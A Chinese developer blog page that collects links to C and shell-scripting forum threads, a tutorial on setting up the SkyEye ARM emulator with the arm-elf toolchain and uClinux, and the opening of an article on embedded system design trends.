◆算法:整数划分问题http://post.baidu.com/f?kz=12582169

◆辗转法求2个数最大公约数http://post.baidu.com/f?kz=16965299

◆算24:http://post.baidu.com/f?kz=17336190

◆100元买100只鸡:http://post.baidu.com/f?kz=14920285

◆COS X曲线http://post.baidu.com/f?kz=16633244

◆矩阵的加减乘运算演示:http://post.baidu.com/f?kz=37953154

◆@ 的读音:http://post.baidu.com/f?kz=12952426

◆“&”怎么读http://post.baidu.com/f?kz=17725981

◆gcc跨平台问题:http://post.baidu.com/f?kz=5371847

◆LL型运算(64位): http://post.baidu.com/f?kz=5248192

◆正方形动画下落(不用清屏):http://post.baidu.com/f?kz=5467099

◆大数运算的免费库libgmp:http://www.swox.com/gmp/

◆大数运算10000以内阶乘:http://post.baidu.com/f?kz=2780897

◆素数搜索算法程序:http://post.baidu.com/f?kz=6221885

◆bmp文件读写: http://post.baidu.com/f?kz=5236264

◆用C显示PCX文件:http://post.baidu.com/f?kz=6059067

◆汇编语言嵌入C 程序段:http://post.baidu.com/f?kz=4038342

◆宏替换问题: http://post.baidu.com/f?kz=5327438

◆宏定义带括号的问题:http://post.baidu.com/f?kz=10001502

◆大下标数组操作:http://post.baidu.com/f?kz=4201196

◆关于数组越界:http://post.baidu.com/f?kz=13204257

◆整数数组初始化赋值:http://post.baidu.com/f?kz=8513573

◆字符数组与字符串:http://post.baidu.com/f?kz=7608560

◆字符串数组下标问题:http://post.baidu.com/f?kz=11253296

◆数组的编译和执行的效率:http://post.baidu.com/f?kz=6243463

◆C写的隐式输入密码:http://post.baidu.com/f?kz=5438409

◆又一个隐式密码输入:http://post.baidu.com/f?kz=11321460

◆C 的文本文件行操作:http://post.baidu.com/f?kz=4303211

◆链表的数据插入:http://post.baidu.com/f?kz=5851022

◆链表的合并:http://post.baidu.com/f?kz=5790984

◆双向链表的插入和删除:http://post.baidu.com/f?kz=6352819

◆谭C例题链表插入删除操作:http://post.baidu.com/f?kz=2286853

◆进制转换的几个函数:http://post.baidu.com/f?kz=5799330

◆十进制转二进制的一种方法:http://post.baidu.com/f?kz=4201639

◆鼠标事件处理:http://post.baidu.com/f?kz=5469795

◆两个鼠标函数库:http://post.baidu.com/f?kz=6952040

◆鼠标器的程序信息:http://post.baidu.com/f?kz=2728110

◆关于鼠标程序:http://post.baidu.com/f?kz=12299687

◆中断号调用:http://post.baidu.com/f?kz=5469596

◆几个中断的资料:http://post.baidu.com/f?kz=7462907

◆C语言接口与实现:http://post.baidu.com/f?kz=5979383

◆C语言的串口通信:http://post.baidu.com/f?kz=8467750

◆怎样理解递归对栈的应用:http://post.baidu.com/f?kz=9882580

◆递归求组合定值:http://post.baidu.com/f?kz=5824841

◆递归求元素和:http://post.baidu.com/f?kz=6380549

◆全排列:http://post.baidu.com/f?kz=7336872

◆擂台赛--求1000000素数:http://post.baidu.com/f?kz=6221885

◆擂台赛--大数运算:http://post.baidu.com/f?kz=6279195

◆字符串编辑时光标的控制:http://post.baidu.com/f?kz=6230397

◆在指定位置输出字符:http://post.baidu.com/f?kz=12059970

◆光盘启动菜单的问题:http://post.baidu.com/f?kz=6093143

◆NOIP复赛文件名大小写问题:http://post.baidu.com/f?kz=6270393

◆程序的带参运行 http://post.baidu.com/f?kz=3545215

◆关于main 的参数:http://post.baidu.com/f?kz=7535662

◆main 函数返回值问题:http://post.baidu.com/f?kz=11161360

◆一个主函数参数问题:http://post.baidu.com/f?kz=9495695

◆函数参数中引用别名问题:http://post.baidu.com/f?kz=9299395

◆函数调用返回多个值:http://post.baidu.com/f?kz=5536004

◆函数中参数调用的问题:http://post.baidu.com/f?kz=6035295

◆函数参数按址传送的问题:http://post.baidu.com/f?kz=5558840

◆assiss谈宏定义及条件编译:http://post.baidu.com/f?kz=6193259

◆输出格式*号控制符:http://post.baidu.com/f?kz=7149608

◆输出格式的空格问题:http://post.baidu.com/f?kz=5147346

◆输出格式中#代表什么:http://post.baidu.com/f?kz=11993035

◆程序代码的上传与下载:http://post.baidu.com/f?kz=6566895

◆++i和i++的问题:http://post.baidu.com/f?kz=6712609

◆ASCII字符输出问题:http://post.baidu.com/f?kz=6771317

◆Fdisk的源程序:http://post.baidu.com/f?kz=6790551

◆正则替换:http://post.baidu.com/f?kz=6775253

◆自我保护----“程序自杀”:http://post.baidu.com/f?kz=6682850

◆编辑框问题:http://post.baidu.com/f?kz=6953560

◆西文环境下显示汉字:http://post.baidu.com/f?kz=2144548

◆读取汉字库中的汉字:http://post.baidu.com/f?kz=7359496

◆三种排序:http://post.baidu.com/f?kz=6769579

◆far 远程指针简述:http://post.baidu.com/f?kz=7742757

◆指针悬空的危险错误:http://post.baidu.com/f?kz=7130531

◆指针作参数的问题:http://post.baidu.com/f?kz=6922977

◆判断字符串是否回文: http://post.baidu.com/f?kz=7624806

◆编程中遇到的小困扰:http://post.baidu.com/f?kz=8002835

◆UNIX下面怎么编译C程序:http://post.baidu.com/f?kz=8046512

◆C如何调用其他程序:http://post.baidu.com/f?kz=8355281

◆C游戏中控制键盘:http://post.baidu.com/f?kz=4902906

◆C语言控制应用:http://post.baidu.com/f?kz=8399030

◆C项目工程(unix下)注意事项:http://post.baidu.com/f?kz=9087043

◆make file(unix下)易错地方:http://post.baidu.com/f?kz=9362741

◆补码问题:http://post.baidu.com/f?kz=11189164

◆DOS仿多线程问题:http://post.baidu.com/f?kz=11553963

◆栈的push和pop操作:http://post.baidu.com/f?kz=10820691

◆头文件如何理解:http://post.baidu.com/f?kz=7566720

◆编程解IQ测试:http://post.baidu.com/f?kz=11359491

◆逻辑破案的编程处理:http://post.baidu.com/f?kz=11283225

◆VC++中浮点数与字符串转化:http://post.baidu.com/f?kz=12061615

◆为何VC++6.0无法运行某些C程序:http://post.baidu.com/f?kz=11123696

◆逆序输出:http://post.baidu.com/f?kz=11484218

◆scanf:floating points format not linked:http://post.baidu.com/f?kz=12999839

◆c输出到打印机:http://post.baidu.com/f?kz=12482547

◆源代码-自我产生的程序:http://post.baidu.com/f?kz=14261864

◆PC 底层系统编程:http://post.baidu.com/f?kz=14071636

◆C中怎么制作函数库:http://post.baidu.com/f?kz=14190938

◆有关 FreeBSD 的网站:http://post.baidu.com/f?kz=14828500

◆一个画图程序:http://post.baidu.com/f?kz=15165712

◆算法--贪心法:http://post.baidu.com/f?kz=15321632

◆合并排序:http://post.baidu.com/f?kz=15330626

◆射击游戏:http://post.baidu.com/f?kz=15417872

◆怎样编一个螺旋数组:http://post.baidu.com/f?kz=15384659

C中怎么制作函数库:http://post.baidu.com/f?kz=14190938

10发90环有多少种可能:http://post.baidu.com/f?kz=15878635

Dev-C++4.9.9.2下载&使用教程:http://post.baidu.com/f?kz=40893628

FinC国人开发的嵌入式编程语言:http://post.baidu.com/f?kz=41127825

C语言的通讯录:http://post.baidu.com/f?kz=41627304

炸弹超人c语言简版:http://post.baidu.com/f?kz=37461531

求因子:http://post.baidu.com/f?kz=41674487

C语言中常见错误:http://post.baidu.com/f?kz=40525835

WPS Office 2005个人版免费下载:http://post.baidu.com/f?kz=41108925

TC2使用图解:http://post.baidu.com/f?kz=40504833

posted @ 2007-12-06 21:36 MEYE 阅读(2941) | 评论 (2)编辑 收藏

[url:]http://www.yuanma.org/data/2006/1228/article_2024.htm
SkyEye是一个可以运行嵌入式操作系统的硬件仿真工具,这样就可以在没有硬件条件下来进行嵌入式系统的开发。

以下操作均在Fedora Core 1.0里通过。

Skyeye项目资源列表
http://gro.clinux.org/projects/skyeye/


文档摘要:
1、什么是SkyEye?
2、SkyEye可以做什么事情?
3、安装SkyEye
4、安装arm-elf交叉编译器
5、测试你的arm-elf-gcc编译器
6、执行你的hello程序
7、编译并运行uClinux-dist-20030909.tar.gz
8、加入网络功能
9、安装完成SkyEye后,下一步将做什么?


1、什么是SkyEye?

SkyEye 是开源软件的一个项目,SkyEye的目标是在Linux和Windows操作系统里提供一个完全的仿真环境。SkyEye仿真环境相当于一个嵌入式计算 机系统,你可以在SkyEye里运行一些嵌入式Linux操作系统,如ARMLinux,uClinux,uc/OS-II(ucos-ii)等,并能分 析和调试它们的源代码。

如果你想知道关于SkyEye和嵌入式系统更详细的信息,请访问下面的站点:
www.SkyEye.org
http://www.skyeye.org/index_cn.html

通过SkyEye能仿真下面的硬件:
CPU核心:ARM7TDMI, ARM720T, ARM9, StrongARM, XScale
CPU: Atmel AT91/X40, Cirrus CIRRUS LOGIC EP7312, Intel SA1100/SA1110, Intel XScale PXA 250/255, CS89712, samsung 4510B, samsung 44B0(还不全)
内存: RAM, ROM, Flash
周边设备: Timer, UART, ne2k网络芯片, LCD, 触摸屏等

目前能在SkyEye上运行下面的操作系统和系统软件:
uC/OSII-2.5.x(支持网络)
uClinux(基于Linux2.4.x内核, 支持网络)
ARM Linux 2.4.x/2.6.x
lwIP on uC/OSII
基于uC/OSII, uClinux, ARM Linux的应用程序


2.SkyEye可以做什么事情?
1. 通过SkyEye可以帮助促进嵌入式系统的学习,在不需要额外硬件的情况下学习和分析uclinux操作系统和其它嵌入式操作系统,如ucosII等。
2. SkyEye可用于嵌入式系统的教学。
3. 希望通过skyeye促进操作系统的研究,如ucosII,uclinux+RTAI,uclinux2.5.x等。
4. 可以基于SkyEye进行仿真特定硬件模块的研究。
5. SkyEye可以作为嵌入式集成开发环境开发嵌入式系统(当然需要对SkyEye做大量的工作)。
注:引自陈渝《SkyEye Project FAQ》


3、安装SkyEye

http://gro.clinux.org/projects/skyeye/下载skyeye-0.7.0.tar.bz2包:

tar jxvf skyeye-v0.7.0.tar.bz2

进入解压后的skyeye目录,如果SkyEye的版本低于0.6.0,则运行下面的命令:

./configure --target=arm-elf --prefix=/usr/local --without-gtk-prefix --without-gtk-exec-prefix --disable-gtktest

如果SkyEye的版本高于0.6.0,则运行下面的命令:

./configure --target=arm-elf --prefix=/usr/local

接下来执行:

make
make install

安装完成后执行skyeye

注意:
a.如果你使用的是Mandrake Linux发行版,那么你在编译SkyEye时遇到错误,并且错误与readline, ncurse, termcap等有关,你可以试试下面的方法:

ln -s /usr/include/ncurses/termcap.h /usr/local/include/termcap.h

接着再make和make install看能否成功!
b.如果你的Linux发行版是Debian Linux,那么不要使用gcc 2.95或是gcc 3.0,请使用gcc 3.2+
c.gcc的版本要在2.96或以上
d.如果SkyEye的版本大于0.6.0,那么使用LCD仿真需要在Linux系统里安装GTK软件。


4、安装arm-elf交叉编译器

下载arm-elf-tools-20030314.sh
ftp://166.111.68.183/pub/embed/uclinux/soft/tools/arm
或到
ftp://166.111.8.229/OS/Embeded

执行:
chmod a+x arm-elf-tools-20030314.sh
然后:
./arm-elf-tools-20030314.sh

ls /usr/local/bin/

你应能看到以arm-elf开头的可执行文件,其中arm-elf-gcc就是用来编译你目标平台的编译器的,当然还有一些小工具,后面将一一讲来。


5、测试你的arm-elf-gcc编译器

先写一个小程序hello.c
PHP代码:
#include <stdio.h>

int main(void)
{
    
int i;

    for(
i = 0; i < 6; i++){

        
printf("i = %d  ",i);

        
printf("Hello, embedded linux!\n");
    }

    return
0;
}

然后执行:

arm-elf-gcc -Wl,-elf2flt -o hello hello.c

-elf2flt参数是将elf文件格式转为flat文件格式,这个工具是在你安装交叉编译器产生的。

或者你可以写个Makefile文件,执行:

make

这里是我的Makefile文件,仅供参考:
PHP代码:
# begin

CC = arm-elf-gcc

CFLAGS
= -D__PIC__ -fpic -msingle-pic-base -O2 -pipe -Wall -g
LDFLAGS
= -Wl,-elf2flt

LIBS
=
OBJS = hello.o

all
:    hello

hello
:  $(OBJS)
        $(
CC) $(CFLAGS) $(LDFLAGS) -o hello $(OBJS) $(LIBS)

clean:
        
rm -rf *.o *.elf *.gdb hello

# end

如果编译通过,就会产生hello可执行文件。用下面的命令:

file hello

你会发现,它是BFLT(binary FLAT),你目标平台所支持的文件格式。


6、执行你的hello程序

这里,我们将借助genromfs这个小工具来完成测试,这个工具就是你在安装交叉编译器时产生的,你可以直接使用它。

http://gro.clinux.org/projects/skye...0.4.tar.bz2包:

tar jxvf skyeye-binary-testutils-1.0.4.tar.bz2

cd testsuits/at91/uclinux2(当然你还可以用别的)

mkdir romfs(建一个目录,后面用)

mount -o loop boot.rom /mnt/xxx

cp -r /mnt/xxx/* romfs

另外,把你编译好的可执行程序拷贝到/romfs/bin目录里,这里就是hello了!

genromfs -f boot.rom -d romfs/

注:可以用genromf -h来获得帮助!

OK!执行下面的命令:

skyeye linux

(skyeye)target sim

(skyeye)load

(skyeye)run

kernel start.....

很熟悉了吧。。。

cd /bin

hello

可以看到结果了吗?

其实到了这一步,你就可以开发自己的程序了!


7、编译并运行uClinux-dist-20030909.tar.gz

ftp://166.111.68.183/pub/embed/uclinux/soft/
或到ftp://166.111.8.229/OS/Embeded/uclinux/pub/uClinux/dist下载
uClinux-dist-20030909.tar.gz

假设把它下载到/usr/src/目录下,然后依次执行下面的命令:

tar zxvf uClinux-dist-20030909.tar.gz
cd uClinux-dist/

在图形方式下可用命令make xconfig

在命令行方式下用命令make menuconfig

vendor/product中选择GDB/ARMulator
kernel版本选择2.4
然后save and exit

运行下面这两条命:
make dep
make

此时在/usr/src/uClinux-dist/linux-2.4.x目录下会生成可执行文件linux
在/usr/src/uClinux-dist/images/会生成romfs.img等文件

在uClinux-dist目录下建立仿真AT91的skyeye配置文件skyeye.conf,内容如下:
cpu: arm7tdmi
mach: at91
mem_bank: map=M, type=RW, addr=0x00000000, size=0x00004000
mem_bank: map=M, type=RW, addr=0x01000000, size=0x00400000
mem_bank: map=M, type=R, addr=0x01400000, size=0x00400000, file=images/romfs.img
mem_bank: map=M, type=RW, addr=0x02000000, size=0x00400000
mem_bank: map=M, type=RW, addr=0x02400000, size=0x00008000
mem_bank: map=M, type=RW, addr=0x04000000, size=0x00400000
mem_bank: map=I, type=RW, addr=0xf0000000, size=0x10000000


这个时候就可以用skyeye来调试运行kernel了,在/usr/src/uClinux-dist执行如下命令:

skyeye linux-2.4.x/linux

(skyeye)target sim

(skyeye)load

(skyeye)run

kernel start.....

注意:
要在skyeye.conf所在目录下执行skyeye linux-2.4.x/linux


8、加入网络功能
a.用root用户进行操作。
b.你要看你的/lib/modules/'uname -r'/kernel/drivers/net/目录里有没有tun.o
如果没有的话你就需要编译你的linux内核来获得tun.o了。
c.(1)运行tun设备模块:

#insmod /lib/modules/'uname -r'/kernel/drivers/net/tun.o

如果你没有该设备,那你就要用下面的命令来创建它:

#mkdir /dev/net
#mknod /dev/net/tun c 10 200

(2)运行vnet(虚拟集线器)设备模块(这一步不是必需的):
获取vnet的源码,然后创建设备:

#mknod /dev/net/vnet c 10 201
#chmod 666 /dev/net/vnet

创建vnet.o
#make vnet.o

插入模块vnet.o
#insmod vnet.o

进入test目录,用test来测度vnet.o
#cd test
#make
#./testvnet1

d.配置skyeye.conf文件

cpu: arm7tdmi
mach: at91
mem_bank: map=M, type=RW, addr=0x00000000, size=0x00004000
mem_bank: map=M, type=RW, addr=0x01000000, size=0x00400000
mem_bank: map=M, type=R, addr=0x01400000, size=0x00400000, file=images/romfs.img
mem_bank: map=M, type=RW, addr=0x02000000, size=0x00400000
mem_bank: map=M, type=RW, addr=0x02400000, size=0x00008000
mem_bank: map=M, type=RW, addr=0x04000000, size=0x00400000
mem_bank: map=I, type=RW, addr=0xf0000000, size=0x10000000
# format: state=on/off mac=xx:xx:xx:xx:xx:xx ethmod=tuntap/vnet hostip=dd.dd.dd.dd
net: state=on, mac=0:4:3:2:1:f, ethmod=tun, hostip=10.0.0.1


下面将对上面的一些参数作下说明:
state=on/off意思是仿真的NIC(网络接口板)是有线的还是无线的;
mac=仿真适配器的MAC地址;
ethmod=tuntap/vnet在主机环境里使用的虚拟设备;
hostip=意思是主机环境与keyeye交互用的IP
格式: state=on/off mac=xx:xx:xx:xx:xx:xx ethmod=tuntap/vnet hostip=dd.dd.dd.dd

For example:
#set nic info state=on/off mac=xx:xx:xx:xx:xx:xx ethmod=tuntap/vnet hostip=dd.dd.dd.dd
net: state=on, mac=0:4:3:2:1:f, ethmod=tun, hostip=10.0.0.1

net: state=on, mac=0:4:3:2:1:f, ethmod=vnet, hostip=10.0.0.1

注意:
如果你想在同一时刻运行两个或更多的skyeye,那么请为每一个skyeye使用不同的skyeye.conf

e.运行skyeye linux-2.4.x/linux

9、安装完成SkyEye后,下一步将做什么?

1、 对于嵌入式操作系统的初学者和入门者和入门的学生而言,他们可以先看一些有关操作系统和嵌入式操作系统方面的教材和书籍,如与uC/OS、Minix、 uClinux、Linux相关的书籍等。然后可以在Skyeye上开发一些简单的应用程序例子(如进程间通信、进程优先级、死锁情况、网络应用等),对 某些操作系统功能(如进程调度、内存管理、网络子系统、文件子系统等)进行简单的修改和扩展,并通过Skyeye进行运行和调试,看看会发生什么情况。

2、 对于有一定经验的软件工程师而言,在SkyEye上完成一定的应用系统原型开发是值得一做的事情。比如移植或开发一个文件子系统或网络子系统到一个特定的 操作系统中,相信比在一个真实的开发板上开发要容易一些。在Skyeye上进行一些操作系统的移植和开发(如移植RTLinux、RTAI等其它操作系统 到Skyeye上)也是很有挑战性的工作。

3、对于硬件工程师而言,对Skyeye进行扩充,设计新的硬件仿真(如USB、IDE硬盘等)使得Skyeye的硬件仿真功能更加强大,支持更多功能的软件,是很有意义的事情。

参考:
SkyEye项目站点里的一篇中文文档;
陈渝《SkyEye Project FAQ》;
skyeye-0.7.0中的README文档。

后记:
为了让大家能快速上手,进行实际的开发工作,我赶凑了一篇文档,很粗糙。但我坚信随着更多的有经验的人的加入;随着我们自己水平的提高,一定会出现更多、更好的文章来。就让我们快点行动起来吧!

最后,我再次建议大家看一下《嵌入式Linux技术与应用》这本书。

可以到http://www.skyeye.org/document.htm或是
ftp://166.111.68.183/pub/embed/skyeye/document/或是
http://www.huihoo.org/mirrors/skyeye/
下载文档,可以获得更多有关skyeye和嵌入式Linux开发的知识和经验。

posted @ 2007-12-06 20:09 MEYE 阅读(628) | 评论 (0)编辑 收藏

01) shell编程入门及脚本测试
02) shell脚本欣赏区
03) TCSH shell编程入门
04) Bash命令行处理[详解]
05) shell命令基础
06) Linux命令大集合
07) sed/awk与unix命令等价代码欣赏
08) 如何将数字转换为大写数字?
09) 出道算术题考考你?
10) 考考你?[关于数组]
11) 如何横排变竖排?
12) 关于屏幕定位显示
13) 如果确定某个特定字符在一个字串中的位置
14) 如何用shell产生随机数组
15) 如何处理键盘输入超时
16) 1到999999999的阵列,如何用shell实现?
17) 用dd命令去备份文件指定的部分
18) 一个自动解压缩rar的脚本
19) UNIXshell/LINUXshell--实例精解源代码
20) 常用的关机和重新启动命令
21) GNU 文本实用程序教程
22) 关于array中的变量替换? [分享]
23) 在bash下实现双窗口或多窗口的方法
24) awk引用变量的问题
25) awk命令实用详解
26) RPM常用命令及RPM中文手册
27) [精彩讨论]sed/awk的新问题
28) 优先级[nice/renice实例]
29) 制作像 nvidia驱动包 那样的可执行安装包
30) Shell的命令行编辑[vi&emacs命令行技巧征集]
31) 如何把一个命令的输出放进多个管道里去,并让那些管道命令并行化
32) 有什么好办法在解压缩过程中同时获取压缩包的内容目录结构的顶层目录呢?
33) Linux Shell简介(入门)
34) BASH最常见的激活模式
35) 论坛是否有expect的技术介绍[附:Expect中文教程]
36) 变态vi问答
37) 如何产生一个随机的字母和一个一位的数字?[已解决]
38) shell编程中${ }的用法[转]
39) 适用于ADSL的连接脚本。
40) 文本模式下手动画表格的脚本
41) grep,sed,awk命令实例大练习[大力推荐]
42) 一个小脚本,帮助你清除无用的rpm包(zt)
43) 关于网络流量统计
44) bash_profile和.bashrc有什么区别?[附:几个bash配置文件的说明]
45) 一个连网的实用脚本
46) ADSL上网脚本
47) slackware添加用户adduser脚本欣赏
48) Gawk手册
49) latex2pdf的脚本
50) BASH中字符串的处理[转]


51) 这个脚本怎么写?[about find&xargs]
52) ulimit使用方法
53) 几个shell自动化脚本
54) 判断XDSL上网方式的用户的网络工作情况的脚本
55) 自动ftp脚本[附录ftp命令大全]
56) 关于zero及NULL设备的讨论
57) 硬连接和软连接的区别的讨论[附:ln中文文档]
58) 将某一目录下以main开头的100个文件的文件名分别改为main1到main100
59) 搜索一首歌并调用XMMS播放的脚本
60) 关于如何设定控制台的彩色显示?
61) 我用DF命令后看到这样的信息是咋回事[附:各种文件系统介绍]
62) Linux [系统管理命令中文详解][转]
63) bash脚本调试器
64) 使用 /proc 文件系统来控制系统[转贴]
65) 如何在shell中将unix时间戳转换为系统时间
66) "2>&1" 是什么意思?[重定向问题合并]
67) 拿到一个好的五笔98码表+awk一例[合并]
68) rh9自动运行X程序的方法
69) MOUNT命令中各个参数的含义
70) 如何从HTML文件中提取charset
71) BASH shell set命令详解
72) VI高级命令集锦及VIM应用实例
73) Linux/UNIX命令dd简介
74) 怎么让cp显示拷贝的进度或者速度?
75) 如何将一个输出中的若干行分别赋值给变量?
76) 修改了一下startx,用于窗口管理器的选择
77) 我想把下面的人名改成第一个字母大字,其它小写
78) 系统备份用的脚本
79) [转贴]编译APACHE+PHP+MYSQL的一个脚本
80) shell脚本是否可编译成二进制文件????<讨论>
81) 如何阻止非root用户再shell下用Ctrl+Alt+Delete重启电脑
82) tr的使用方法[转贴]
83) 设置终端--stty使用方法[转贴]
84) BASH-HOWTO文档
85) 解读startx
86) 写了一个显示目录树的脚本,可输出不对
87) 如何開一term ?K在里头顯某個文件的內容??
88) 如何在脚本中应用dialog命令<欢迎讨论>
89)
90) find和xargs使用详解[转自《shell编程和unix命令》]
91) Redhat8 下脚本的一些问题
92) 删除文件跟恢复文件系列。
93) 防止误删文件的脚本
94) 熟练运用命令所必须的<正则表达式语法>
95) linux shell trap信号表
96) shell入门基础必备
97) 如何快速把带有大写字母的文件名改为全部小写?
98) Unix Shell 介绍 (author:S. R. Bourne)
99) 技巧:提示行魔术
100) 禁止用户登录脚本


101) 一个自动挂载dos分区的脚本
101) bash快捷键盘使用心得,非转载~~~
102) 几个可以加在SHELL配置脚本里面的小函数
103) 如何用bash提取网卡ip地址?
104) shell技巧交流区
105) 适合初学练习的一组小脚本
106) Linux 终端的彩色显示
107) 一个自动解压缩rar的脚本
108) 一道算术题
109) 如何把一个文件倒着读出来?
110) source命令的一个妙用
111) 压缩-分段-备份的实现
112) 设置命令提示符下的热键[转]
113) BASH教学实例
114) 用sed/awk合并两行
115) stty中文手册
116) VIM速查手册
117) VIMset选项详解
118) 自动mount各类分区的脚本
119) shell十三问(简体版PDF)
120) dialog中文man手册
121) 怎样得到终端的参数如长宽行数?
122) 判断一个数是否2的幂[讨论awk的扩展用途]
123) tr:超级工具:为数据做外科手术(dd, head, tail...)
124) 服务器诊所: Expect 超出预期
125) 再来一个tree脚本(原创)
126) 几种shell里的小括号,大括号结构和有括号的变量,命令的用法
127) bash中字符串的处理(参阅CU一贴后重整理)
128) Linux与unix shell编程学习体会(根据书和其他帖子整理)
129) 管理脚本语言
130)***sed新手使用进阶全功略!***
131) Linux解释器原理
132) RE,grep,sed,awk论坛题目总结!(不断整理中......)
待续...


posted @ 2007-12-05 21:43 MEYE 阅读(753) | 评论 (0)编辑 收藏
嵌入式系统设计的新发展及其挑战

摘要:综述嵌入式系统设计的最新发展情况;论述当前嵌入式系统设计技术发展的特点;从嵌入式系统设计开发的复杂度,开发形式、手段和工具,开发平台和开发语言等方面嵌入式系统设计发生的各种变化,并提出应对这些变化的各种挑战。  
       关键字:嵌入式系统;设计技术;SoC
1 嵌入式系统设计技术发展的特点
随着微电子技术的飞速发展,CPU已经变成低成本器件。在可能的情况下,各种机电设备已经或者正在嵌入CPU构成的嵌入式系统。据Virginia Tech公司报告,嵌入式系统中所使用的CPU数量已经超过通用PC中CPU数量的30倍。
现在系统研究的重点已从通用系统转向专用系统,以及从一般性能转向可靠性、可用性、安全性、自主性、可扩展性、功能性、灵活性、成本、体积、功耗及可管理性上。
1.1 32位嵌入式处理器比例快速升高
InStat/MDR曾预测在2001~2006年期间,32位向控制器(MCU)的复合年增长率可达22.6%。而全球32位MCU市场在2003年的增长幅度实际已走过30%,在2004年预计将达到38%。增长的驱动因素主要有两个方面。
一方面因为像数码相机、MP3播放机、PDA、游戏机和移动电话手机等手持设备以及各种信息家电等有更高性能要求的多媒体和通信设备的推出。在这些应 用中,庞大的多媒体数据必然需要更大的存储空间,目前许多32位微控制器都可以使用SDRAM,因此可极大地降低使用更大容量数据存储器的成本;而8位微 控制器一般只能使用成本较高的SRAM作为数据在座 器。此外除了处理应用控制功能之外,需支持互联网接入的应用在MCU运行TCP/IP或其它通信协议的情况下,要求系统建立在RTOS上就必然成为一种现 实需求。另外,有越来越多的像电视机、汽车音响及电子玩具等传统应用也与时俱进地提出数字化和“硬件软化”的要求,它们对计算性能的要求及存储器容量的需 求都超出绝大多数8位微控制器能提供的范围。
另一方面由于IT技术发展的推动,32位ARM体系结构已经成为一种事实上的标准,随着高端32位CPU价格的不断下降和开发环境的成熟,促使32位 嵌入式处理器日益挤压原先由8位微控制器主导的应用空间。随着ARM处理器在全球范围的流行,32位的RISC嵌入式处理器已经开始成为高中端嵌入式应用 和设计的主流。
8位机除MCS-51外,其它的8位机和16位机都没有一种能为标准或准标准产品。32位嵌入式处理器一度被认为只适用于高端应用场合的看法正在改 变。有更多、更复杂特点和功能需求的便携式电子设备正促使嵌入式系统工程师考虑用32位MCU取代8/16位MCU。另外,越来越多的设计师认识到,转用 32位架构不令能提升性能,还能降低相同成本下的系统功耗和节约总成本以及缩短产品上市时间。这个转变为设计师提供了可随着产品的性能和需求不断扩展而升 级的方案。
1.2 可供选择的可编程计算部件方案增多
(1)GPP-EP-MCU-DSP-ASP/ASSP-ASIC/SoC
嵌入式系统的核心是可编程计算部件,即处理器。这可以有很多种选择,而且近几年又增加了一些新的选择:除过去常用的通用处理器GPP(Gereral Purpose Processor)、嵌入式处理器EP(Embedded Processor)、微控制器MCU(Micro-Control Unit)、数字信号处理器DSP(Digital Signal Processor)外,目前发展很快、可以给我们提供新的选择的还有各种专用处理器ASP(Application Specific Processor)或专用标准产品ASSP(Application Specific Standard Product)。它们都是针对一些特定应用而设计的,如用于HDTV、ADSL、Cable Modem等的专用处理器。与MCU相比,ASP/ASSP集成的资源可能比一般MCU更多、更专业化,所以ASP的价格要高于MCU;但因为它的应用在 相关领域中又是通用、标准和开放的,所以任一个公司都能应用它构成自己的系统或产品,而不存在侵犯知识产权的问题。另一种有知识产权保护的在应用上较封闭 的专用集成电路ASIC(Application Specific IC)类的定制片上系统SoC(System on Chip)的投入成本就要比ASP高得多。但这可以根据设计人员的要求来构建定制SoC,这样就可为设计人员提供满足量体载衣式应用需求的灵活性。SoC 技术使嵌入式系统应用发生了革命性的变化,这个变化就是嵌入式系统的设计技术,已从选择厂家提供的标准产品时代进入了用户具有个性的自行开发设计器件的时 代。
(2)PsoC/SoPC/CsoC
采用定制SoC有两大缺点:一是高昂的一次性工程费用(NRE);二是从产品概念到生产阶段需要很长的前置开发时间。目前的一个发展趋势是以FPGA 为代表的现场可编程技术在迅速崛起。这是由于市场对通用可配置处理器的呼声越来越高,传统的MCU在市场需求中显得越来越力不从心。可配置、可扩展处理器 逐渐浮出水面。利用半定制器件可以构成基本FPGA的硬核处理器或基于FPGA的软核处理器。并由此可编程片上系统(PsoC或SOPC)应运而生。这是 一种面向消费电子、工业、办公自动化、电信和汽车应用中的嵌入式控制功能而开发的高性能、现场可编程、混合信号阵列。它集MCU和FPGA/CPLD的优 点于一身,实现可配置SoC,既适应了设计人员对系统部件集成的需要,又能实现可配置需求的灵活性。从而为许多现实应用提供一种平衡解决方案。
不同的厂家依据自己本来的优势,从两个不同方向异途同归地实现这种“可配置”性。一种是FPGA厂商在现有的FPGA架构中加入微处理器核与其它IP 功能模块,使其兼备功能性和灵活性。例如,Altera公司为嵌入式应用先后推出的Nios和Nios II软核嵌入式处理器,就是一种可特许的通用RISC CPU。它可与各种各样的外围接口、用户自定义指令和硬件加速单元相组合,构成一个定制的可编程片上系统(SoPC),并能够根据需要选择配置。 Xilinx也同样推出一个类似的32位哈佛结构的MicroBlaze软核嵌入式处理器。而另一种是微处理器厂家从微处理器出发,再加入可编程逻辑模 块。例如Triscend公司推出一种波称为是CsoC(Configurable SoC)的技术,是在一个以ARM架构微处理器核为核心的SoC中嵌放工可编程逻辑模块,构成可配置的SoC平台。
1.3 微控制器的发展特点
尽管由于市场对多功能产品需求的增加和IT技术的推动,使32位MCU产品日益成为市场的热点;但目的8位MCU仍然是技术市场的主流,并且还有相当 广阔的应用空间和旺盛的生命力,16位MCU也占有一定的市场份额。各种MCU根据自己在市场上的定位,也都有了很大发展,MCU总的发展具有以下一些特 点。
(1)微控制器SoC化
微控制器(MCU)已可集成越来越多的内置部件。常用的部件有存储器类,包括程序存储器 MROM/OTPROM/EPROM/EEPROM/Flash和数据存储器SRAM/SDRAM/SSRAM;有串行接口类,包括UART、SPI、 I2C、CAN、IR、Ethernet、HDLC;有并行接口类,包括Centronics、PCI、IDE、GPIO等;有定时和时钟类,包括 Timer/Counter、RTC、Watchdog、Clock out;有专用和外围接口类,包括Comparer(比较器)、ADC、DAC、LCD控制器、DMA、PWM、PLL、MAC、温度传感器等  
。甚至有的MCU,例如NS公司的MCU,已把语音、图像部件也集成到单片机中,目的就是在单个器件中集成所有所需要用到的部件,构成片上系统 (SoC)。由于Cygnal公司推出的C8051F系列的MCU在一个芯片中集成了构成数据采集系统或控制系统所需要的几乎所有的数字和模拟外围接口和 功能部件,所以这种混合信号芯片被其称作SoC。  
(2)多核结构处理器
随着嵌入式应用的深入,特别是在数字通信和网络中的应用,对处理器提出了更高的要求。为适应这种情况,现在已出现多核结构的处理器。
